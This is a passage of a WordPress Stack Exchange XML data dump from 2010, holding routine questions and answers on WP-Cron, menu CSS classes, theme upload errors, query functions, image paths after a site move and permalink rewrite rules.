&lt;code&gt;teasers&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See post (by me) for &lt;a href=&quot;http://www.rarst.net/script/wordpress-excerpt-teaser/&quot; rel=&quot;nofollow&quot;&gt;writeup on excerpt/teaser differences and mechanics&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-13T11:39:26.560" LastActivityDate="2010-09-13T11:39:26.560" />
  <row Id="1741" PostTypeId="2" ParentId="1739" CreationDate="2010-09-13T11:31:05.173" Score="2" ViewCount="" Body="&lt;p&gt;Cron is job scheduling mechanism in Unix-based operating systems. It depends on your hosting if you have access to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since WordPress needs to run some tasks periodically it has own PHP-based mechanism called WP-Cron that is both used by core and accessible to plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically OS cron is more reliable, WP-Cron is more compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Automatic updates&lt;/code&gt; most likely refers to plugin using WP-Cron.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much this might be issue with hosting depends on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hosting policy for background processes&lt;/li&gt;&#xA;&lt;li&gt;hosting CPU quotas (and bandwidth quotas if they are low enough and you poll often enough)&lt;/li&gt;&#xA;&lt;li&gt;amount and rate of updates you perform&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T11:31:05.173" CommentCount="2" />
  <row Id="1742" PostTypeId="1" AcceptedAnswerId="1752" CreationDate="2010-09-13T14:14:53.923" Score="0" ViewCount="76" Body="&lt;p&gt;Our passwords are handled by an external LDAP server and the plugin we're using to therefore removes all references to the ability to change passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do then, is add a link to the users profile editing page (where they get taken after clicking on their name) which points to our password change page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I add a link here?&lt;/p&gt;&#xA;" OwnerUserId="562" LastActivityDate="2010-09-13T15:51:48.477" Title="How would I add a link to the profile editing page of the dashboard?" Tags="&lt;admin&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="1743" PostTypeId="1" AcceptedAnswerId="2733" CreationDate="2010-09-13T14:14:58.940" Score="1" ViewCount="207" Body="&lt;p&gt;i have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_options_page('Post Products Settings', 'Post Products Settings', 'administrator', 'pp_settings', 'pp_settings_page');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;anyway i can get whats specified in the 1st parameter for use in my page header? i know i can hard code it tho, but just curious&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2010-10-09T19:51:29.340" Title="How can i get the title i specified in add_options_page for my header" Tags="&lt;plugin-development&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="1744" PostTypeId="1" AcceptedAnswerId="1750" CreationDate="2010-09-13T14:23:46.623" Score="0" ViewCount="880" Body="&lt;p&gt;is that possible, without javascript hacks?&#xA;like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;my_menu&quot;&amp;gt;&#xA;  &amp;lt;li class=&quot;first&quot;&amp;gt; ... &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt; ... &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt; ... &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class&quot;with_sub&quot;&amp;gt; ... &#xA;    &amp;lt;ul class=&quot;my_menu_sub&quot;&amp;gt;&#xA;      &amp;lt;li class=&quot;first&quot;&amp;gt; ... &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt; ... &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt; ... &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li class=&quot;last&quot;&amp;gt; ... &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt; ... &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt; ... &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;last&quot;&amp;gt; ... &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-09-13T18:45:12.040" Title="Adding first / last CSS classes to menus" Tags="&lt;3.0&gt;&lt;custom-menus&gt;&lt;css&gt;&lt;php&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="1745" PostTypeId="2" ParentId="1732" CreationDate="2010-09-13T14:39:12.423" Score="3" ViewCount="" Body="&lt;p&gt;Even as a junior developer, starting with the plug-in repository is often your best bet.  I'm sure, when evaluating a particular situation, you already have in mind an approach you'd take with your custom development.  Finding a tested, proven, &quot;professional&quot; plug-in that does the same thing is the best way to compare how you'd do it with how a more experienced developer would.  It's a great way to learn as you go and pick up new techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there won't always be a plug-in available to fit your situation.  In general, if you spend more than 5-10 minutes browsing the repository and can't find the perfect solution, stop wasting your time and build your own.  &lt;strong&gt;&lt;em&gt;Then submit your new system to the repository to help out the next guy who comes along.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often times, I'll find two or three plug-ins that &lt;em&gt;almost&lt;/em&gt; do what I want them to do ... but they're missing one or two features, or for some reason break my theme when they're installed.  In these situations, I'll still start off with the stock plug-in, but I'll tweak it to fit my specific needs - remember, it's open source, so this is allowed and encouraged.  Then I'll contact the original author and propose a patch to his or her project.  Sometimes they accept it, sometimes the reject it, other times they ignore it.  In a few cases, I'll publish a public fork of their plug-in just to make sure my patch remains available to the community, but over time whatever work I did either gets incorporated into the system or is replaced by improved WP core functionality or another, better plug-in from another developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm all for taking time to learn a new system and trying to build a solution from scratch, but if someone else has already done it (and tested/deployed their system) I'd encourage you to learn from their experience and build off their system rather than developing your own.  You're already building on top of a platform (WordPress) that's developed by someone else ... building off an existing plug-in to avoid 'reinventing the wheel' is no different.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-13T14:39:12.423" CommentCount="3" />
  <row Id="1746" PostTypeId="1" AcceptedAnswerId="1747" CreationDate="2010-09-13T15:07:55.627" Score="1" ViewCount="168" Body="&lt;p&gt;I am getting an error message When uploading some themes .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: fopen(/home/..../public_html/...../wp-content/themes/creativeart/style.css) [function.fopen]: failed to open stream: No such file or directory in /home/...../public_html/...../wp-includes/functions.php on line 4165&#xA;&#xA;Warning: fread(): supplied argument is not a valid stream resource in /home/...../public_html/...../wp-includes/functions.php on line 4168&#xA;&#xA;Warning: fclose(): supplied argument is not a valid stream resource in /home/...../public_html/...../wp-includes/functions.php on line 4171&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does it mean ?I don't understand if the problem in themes or Am I missing some thing in my Wordpress Installation? I have tried the same themes in two wordpress installations and  got the same error .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am listing some of themes here .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.freethemelayouts.com/dls/mysticgrunge.zip/211&quot; rel=&quot;nofollow&quot;&gt;mysticgrunge&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.freethemelayouts.com/dls/creativeart.zip/163&quot; rel=&quot;nofollow&quot;&gt;creativeart&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any one have idea on such error?&lt;/p&gt;&#xA;" OwnerUserId="402" LastActivityDate="2010-09-30T02:18:14.107" Title="I am getting an error some times when uploading themes" Tags="&lt;errors&gt;" AnswerCount="2" />
  <row Id="1747" PostTypeId="2" ParentId="1746" CreationDate="2010-09-13T15:21:20.330" Score="1" ViewCount="" Body="&lt;p&gt;From the looks of things, it's a server issue.  The WordPress theme uploader uses &lt;code&gt;fopen()&lt;/code&gt; to transfer files from one location to the server.  It looks like there's a timeout or access error because a) &lt;code&gt;fopen&lt;/code&gt; can't find the file that it's supposed to be transferring and b) the &lt;code&gt;fread&lt;/code&gt; and &lt;code&gt;fclose&lt;/code&gt; functions can't find the data stream to read the file and close it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend manually uploading the themes instead to bypass this error.  Instead of uploading the &lt;code&gt;.zip&lt;/code&gt; file via WordPress, do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unzip the theme folder somewhere on your local machine&lt;/li&gt;&#xA;&lt;li&gt;Log in to your site's FTP system&lt;/li&gt;&#xA;&lt;li&gt;Navigate to &lt;code&gt;/wp-content/themes/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use FTP to transfer the entire theme folder from your local machine to the server&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will entirely bypass any kind of &lt;code&gt;fopen&lt;/code&gt;/&lt;code&gt;fread&lt;/code&gt;/&lt;code&gt;fclose&lt;/code&gt; errors you're getting.  If there's still a problem, then it's an issue with either your server, your WordPress installation itself, or the actual theme and will require some more in-depth troubleshooting.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-13T15:21:20.330" CommentCount="6" />
  <row Id="1748" PostTypeId="1" AcceptedAnswerId="1751" CreationDate="2010-09-13T15:27:56.937" Score="1" ViewCount="85" Body="&lt;p&gt;What is your strategy to find a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development&quot;&gt;high-quality plugin&lt;/a&gt; that solves your problem? I hate &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1732/self-develop-or-plugin-as-first-option&quot;&gt;re-inventing the wheel&lt;/a&gt;, but I also hate wading through dozens of vague plugins descriptions that don't tell me whether the features I need are included, without deprecated methods or PHP or even security errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have tips to get more out of &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;the plugin repository&lt;/a&gt;? I made this question community wiki, so you can give one tip per answer and let the community vote the best to the top.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-13T15:41:57.527" CommunityOwnedDate="2010-09-13T15:27:56.937" Title="Finding high-quality plugins?" Tags="&lt;plugins&gt;&lt;best-practices&gt;&lt;wordpress.org&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="1749" PostTypeId="2" ParentId="1732" CreationDate="2010-09-13T15:32:53.157" Score="1" ViewCount="" Body="&lt;p&gt;Most of my plugins are self written. I don’t have the nerves to check other peoples code for security and performance issues. If something is to complex I look at &lt;a href=&quot;http://www.google.com/search?q=site%3agithub.com+wordpress%20plugin&quot; rel=&quot;nofollow&quot;&gt;GitHub&lt;/a&gt; first. The average quality there is better than on wordpress.org in my experience, and it is very easy (and faster) to see the code first. The repository is my last option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A side benefit of writing your own plugin: You learn something, and each time you’ll be faster than before. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-09-13T15:32:53.157" />
  <row Id="1750" PostTypeId="2" ParentId="1744" CreationDate="2010-09-13T15:35:03.577" Score="1" ViewCount="" Body="&lt;p&gt;Here is rough snippet that takes care of modifying menu output and adding first/last to first and last class (outer &lt;code&gt;ul&lt;/code&gt; is not applied at this stage so doesn't count). Note - requires PHP5 for &lt;code&gt;strripos()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_nav_menu_items', 'first_last_class' );&#xA;&#xA;function first_last_class( $items ) {&#xA;&#xA;    $first = strpos( $items, 'class=' );&#xA;&#xA;    if( false !== $first )&#xA;         $items = substr_replace( $items, 'first ', $first+7, 0 );&#xA;&#xA;    $last = strripos( $items, 'class=');&#xA;&#xA;    if( false !== $last )&#xA;         $items = substr_replace( $items, 'last ', $last+7, 0 );&#xA;&#xA;    return $items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am bit stuck with how to make it handle nested lists, but it should get you started at least.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T15:35:03.577" />
  <row Id="1751" PostTypeId="2" ParentId="1748" CreationDate="2010-09-13T15:41:57.527" Score="3" ViewCount="" Body="&lt;p&gt;I do not really look for good plugins. I look for plugins by good developers I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach ensures:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;plugins are maintained&lt;/li&gt;&#xA;&lt;li&gt;I have past experience with code by developer&lt;/li&gt;&#xA;&lt;li&gt;in some cases plugins from same developer share good chunk of codebase or framework, which makes things much easier&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T15:41:57.527" CommunityOwnedDate="2010-09-13T15:41:57.527" CommentCount="2" />
  <row Id="1752" PostTypeId="2" ParentId="1742" CreationDate="2010-09-13T15:51:48.477" Score="2" ViewCount="" Body="&lt;p&gt;I assume you mean &lt;code&gt;/wp-admin/profile.php&lt;/code&gt; page and want to hide native password fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this (just test if form works ok with it):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'show_password_fields', 'modify_profile_password' );&#xA;&#xA;function modify_profile_password( $show ) {&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;tr id=&quot;password&quot;&amp;gt;&#xA;    &amp;lt;th&amp;gt;Change your password at&amp;lt;/th&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;password change page&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-13T15:51:48.477" CommentCount="4" />
  <row Id="1753" PostTypeId="1" AcceptedAnswerId="1755" CreationDate="2010-09-13T15:58:39.013" Score="33" ViewCount="3881" Body="&lt;p&gt;It seems like half the tutorials in the codex and around the blogosphere use &lt;code&gt;query_posts()&lt;/code&gt; and half use &lt;code&gt;WP_Query&lt;/code&gt;. What's the deal?&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-10-08T04:01:06.857" LastActivityDate="2011-08-08T14:11:28.100" CommunityOwnedDate="2010-09-13T15:58:39.013" Title="When should you use WP_Query vs query_posts() vs get_posts()?" Tags="&lt;query-posts&gt;&lt;best-practices&gt;&lt;wp-query&gt;&lt;query&gt;&lt;get-posts&gt;" AnswerCount="3" FavoriteCount="29" />
  <row Id="1754" PostTypeId="2" ParentId="1753" CreationDate="2010-09-13T16:09:13.957" Score="4" ViewCount="" Body="&lt;p&gt;The basic difference is that &lt;code&gt;query_posts()&lt;/code&gt; is really only for modifying the current Loop. Once you're done it's necessary to reset the loop and send it on its merry way. This method is also a little easier to understand, simply because your &quot;query&quot; is basically a URL string that you pass to the function, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=color&amp;amp;meta_value=blue'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the other hand, &lt;code&gt;wp_query&lt;/code&gt; is more of a general purpose tool, and is more like directly writing MySQL queries than query_posts() is. You can also use it anywhere (not just in the Loop) and it doesn't interfere with any currently running post queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to use &lt;code&gt;wp_query&lt;/code&gt; more often, as it happens. Really, it's going to come down to your specific case.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2010-09-13T16:09:13.957" CommunityOwnedDate="2010-09-13T16:09:13.957" />
  <row Id="1755" PostTypeId="2" ParentId="1753" CreationDate="2010-09-13T16:10:20.303" Score="56" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;query_posts()&lt;/code&gt;&lt;/a&gt; should be used in one and only case if you need to modify main query of page. It sets a lot of global variables and will lead to obscure and horrible bugs if used in any other place and for any other purpose;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt;&lt;/a&gt; is very similar in mechanics and accepts same arguments, but returns array of posts, doesn't modify global variables and is safe to use anywhere;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Query&lt;/code&gt;&lt;/a&gt; class power both behind the scenes, but you can also create and work with own object of it. Bit more complex, less restrictions, also safe to use anywhere.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to stress that &lt;code&gt;query_posts()&lt;/code&gt; wrongfully overused in &lt;strong&gt;many&lt;/strong&gt; tutorials around. It is one of the most widespread bad practices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.rarst.net/images/query_functions.png&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="300" LastEditorDisplayName="" LastEditDate="2011-08-08T14:11:28.100" LastActivityDate="2011-08-08T14:11:28.100" CommunityOwnedDate="2010-09-13T16:10:20.303" CommentCount="6" />
  <row Id="1756" PostTypeId="1" CreationDate="2010-09-13T16:51:54.903" Score="1" ViewCount="258" Body="&lt;p&gt;I've moved my installation from &lt;code&gt;example.com/beta&lt;/code&gt; to &lt;code&gt;example.com&lt;/code&gt; and I've noticed that there are a few broken images. Looking at the source, it appears that they are still looking in looking in the &lt;code&gt;/beta&lt;/code&gt; directory for the images.. How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pics which are broken seem to be the ones uploaded from within the page/post editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note:I exported the database to a file and there were many instances of example.com/beta in it .. I wonder if I can find-replace to get rid of the beta and then import the db..?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, I went into each post, and edited each broken image (Edit Image &gt; Advanced Settings) to take out the &lt;code&gt;beta/&lt;/code&gt; before wp-content. I was too scared to edit the exported sql and re-import it. If it happens in the future I would just re-create the &lt;code&gt;/beta/wp-contents/uploads&lt;/code&gt; with the contents of &lt;code&gt;/wp-contents/uploads&lt;/code&gt; until I found the patience to go thru and change each image paths.&lt;/p&gt;&#xA;" OwnerUserId="394" LastEditorUserId="394" LastEditorDisplayName="" LastEditDate="2010-09-13T19:11:18.717" LastActivityDate="2010-09-14T06:26:29.303" Title="Moving to directory creates path problems.. how to solve?" Tags="&lt;installation&gt;&lt;directory&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="1" />
  <row Id="1757" PostTypeId="2" ParentId="1756" CreationDate="2010-09-13T17:27:09.223" Score="1" ViewCount="" Body="&lt;p&gt;You need to manually update your database to fix images path on posts / pages.&#xA;I believe there's plugin that do this. I'll update this answer later when I found one.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-09-13T17:27:09.223" />
  <row Id="1758" PostTypeId="2" ParentId="1756" CreationDate="2010-09-13T17:30:01.527" Score="2" ViewCount="" Body="&lt;p&gt;When images are added to WordPress posts and pages, they are stored with the &lt;em&gt;absolute url&lt;/em&gt; to the image file on the server.  If you change your WordPress installation (move to a different domain, change your folder structure, etc) then you'll break these images.  There are two ways to fix this:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Manually re-write URLs&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The most time-consuming path is to sit down and do a find/replace on all image URLs in your site.  If you have a large site, this can take forever to do by hand and you'd be well-served writing a script to do it for you.  Do a search on the &lt;a href=&quot;http://wordpress.org/support/&quot; rel=&quot;nofollow&quot;&gt;WP support forums&lt;/a&gt; and you'll find a host of pre-written scripts to do just that, but most require a higher level of technical skill or access to your site than most people have.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use a rewriting plug-in&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I've moved my blog a few times.  It started out as &lt;a href=&quot;http://eamann.com/wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://eamann.com/wordpress/&lt;/a&gt;.  Then it moved to &lt;a href=&quot;http://eamann.com/mindshare/&quot; rel=&quot;nofollow&quot;&gt;http://eamann.com/mindshare/&lt;/a&gt;.  Then it was &lt;a href=&quot;http://mindshare.eamann.com&quot; rel=&quot;nofollow&quot;&gt;http://mindshare.eamann.com&lt;/a&gt;.  Then it moved to its current home at &lt;a href=&quot;http://mindsharestrategy.com&quot; rel=&quot;nofollow&quot;&gt;http://mindsharestrategy.com&lt;/a&gt;.  Each time, I had the same problem you're facing now - my images broke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than manually re-writing my image URLs each time, I installed a redirection plug-in to do it for me.  After the first move, if you requested &lt;a href=&quot;http://eamann.com/wordpress/image1.jpg&quot; rel=&quot;nofollow&quot;&gt;http://eamann.com/wordpress/image1.jpg&lt;/a&gt; the server would instead give you &lt;a href=&quot;http://eamann.com/mindshare/image1.jpg&quot; rel=&quot;nofollow&quot;&gt;http://eamann.com/mindshare/image1.jpg&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use a similar redirection script to point all requests to &lt;code&gt;example.com/beta/###&lt;/code&gt; to &lt;code&gt;example.com/###&lt;/code&gt;.  There are several redirection plug-ins available, but &lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;&lt;/strong&gt; has a very refined UI and is very easy to use.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-13T17:30:01.527" CommentCount="2" />
  <row Id="1759" PostTypeId="1" CreationDate="2010-09-13T17:44:40.017" Score="0" ViewCount="208" Body="&lt;p&gt;I have a fresh localhost install and when i change the permalink structure from the default to any other structure the links break.  I have created new post under the new structure and it doesnt work.  When i change the structure i get the &quot;Permalink Structure updated&quot; alert but it does not work.  When i switch back to default, everything works.  I tried updating .htaccess to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA; END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and nothing.    This is probably an easy fix.  Please help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-13T17:52:05.537" LastActivityDate="2011-09-05T04:57:41.313" Title="updated permalink structure on localhost does not work" Tags="&lt;3.0.1&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="1760" PostTypeId="2" ParentId="1759" CreationDate="2010-09-13T18:21:15.810" Score="1" ViewCount="" Body="&lt;p&gt;First thing I always do is change the permalinks back and forth to different settings a couple of times, which will cause them to flush and rewrite the rules. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that. what stack are you using? Where have you put the .htaccess?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-13T18:21:15.810" />
  <row Id="1762" PostTypeId="2" ParentId="1744" CreationDate="2010-09-13T18:28:08.930" Score="2" ViewCount="" Body="&lt;p&gt;Learn more about the &lt;a href=&quot;http://codex.wordpress.org/Appearance_Menus_SubPanel&quot; rel=&quot;nofollow&quot;&gt;new Menus API&lt;/a&gt; in wordpress 3. You can give any element it's own class manually. Also, once mastered, it makes menus a thing of joy to edit.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-13T18:28:08.930" CommentCount="1" />
  <row Id="1763" PostTypeId="1" AcceptedAnswerId="2892" CreationDate="2010-09-13T18:32:30.570" Score="1" ViewCount="256" Body="&lt;p&gt;I'm looking to build a member directory for one of my WordPress sites that hooks into the Facebook API.  Site users would be able to browse through the directory of members and view their Facebook profile and information such as e-mail address, phone number, website, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I'm thinking that members will need to login to facebook from the site and &quot;allow access.&quot; Then, WordPress can pull member data from Facebook such as e-mail address, phone number, website, etc. and store it as custom meta in WordPress.  One problem with this approach would be when a user updated their facebook profile, the WordPress site wouldn't get updated until they log back into the site and the &quot;update&quot; process kicks off again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I way off base?  Is there an easier way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything that would get me started with this, or would it need to be built entirely from scratch?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-14T11:50:34.583" LastActivityDate="2010-10-14T11:50:34.583" Title="Building a Member Directory Site on WordPress with Facebook API Integration?" Tags="&lt;facebook&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1764" PostTypeId="2" ParentId="1744" CreationDate="2010-09-13T18:45:12.040" Score="0" ViewCount="" Body="&lt;p&gt;You can use jQuery to do this client side:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#my_menu li:first-child&quot;).addClass(&quot;first&quot;);&#xA;$(&quot;#my_menu li:last-child&quot;).addClass(&quot;last&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-09-13T18:45:12.040" />
  <row Id="1765" PostTypeId="2" ParentId="1720" CreationDate="2010-09-13T18:52:04.147" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://feedwordpress.radgeek.com/&quot; rel=&quot;nofollow&quot;&gt;http://feedwordpress.radgeek.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-09-13T18:52:04.147" />
  <row Id="1766" PostTypeId="2" ParentId="1732" CreationDate="2010-09-13T18:55:30.130" Score="0" ViewCount="" Body="&lt;p&gt;I really don't like to re-invent the wheel, so I start by searching Google and the WP plugin repository.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the time there's something out there already that does what I need, or very close to it.  At the least that's a good starting point, and takes around half an hour to look around, maybe another 10-15 minutes installing the plugins I've found on a testing install to see if it does what I think it does.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I need to correct or expand on the plugin, then I try to submit my changes to the plugin maintainer.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-09-13T18:55:30.130" />
  <row Id="1767" PostTypeId="1" AcceptedAnswerId="2597" CreationDate="2010-09-13T18:59:43.520" Score="1" ViewCount="67" Body="&lt;p&gt;What do you all use for live blogging?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found &lt;a href=&quot;http://wordpress.org/extend/plugins/live-blogging/&quot; rel=&quot;nofollow&quot;&gt;Live Blogging&lt;/a&gt; by Chris Northwood (more than I need) and &lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-liveblog/&quot; rel=&quot;nofollow&quot;&gt;Twitter LiveBlog&lt;/a&gt; by Mashuqur Rahman (I want it to stay within WordPress).  Are these really the only two games in town?&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-10-05T16:35:07.217" CommunityOwnedDate="2010-09-13T21:48:25.527" Title="Live blogging plugins?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="1768" PostTypeId="2" ParentId="1639" CreationDate="2010-09-13T19:18:53.770" Score="1" ViewCount="" Body="&lt;p&gt;There have been 3-and-a-half times I've needed to hack core to solve a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Was a bug fix.  I reported it as a bug in Trac along with a diff patch.  The functionality is being re-worked in the next version of WP already, basically invalidating the bug.  Until then I can easily apply the patch I've created on current/new installs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Was to add very detailed logging to try and track down a very specific problem a user was encountering.  Not an every day situation, and certainly not functionality related.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3a) I wanted to add an extra field to Categories in WP 2.8.5.  The built-in hooks to do this did not work properly (known issue), and I believe this particular issue was fixed in the 2.9 tree.  At the end of the day, the implementation was flawed and we re-designed the feature to work in a different way that didn't require a core modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3b) I thought I needed to modify core to change the comment moderation links, but while I was digging around I found some hooks I previously didn't know about and was able to implement the feature as a plugin.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-09-13T19:18:53.770" CommunityOwnedDate="2010-09-13T19:18:53.770" />
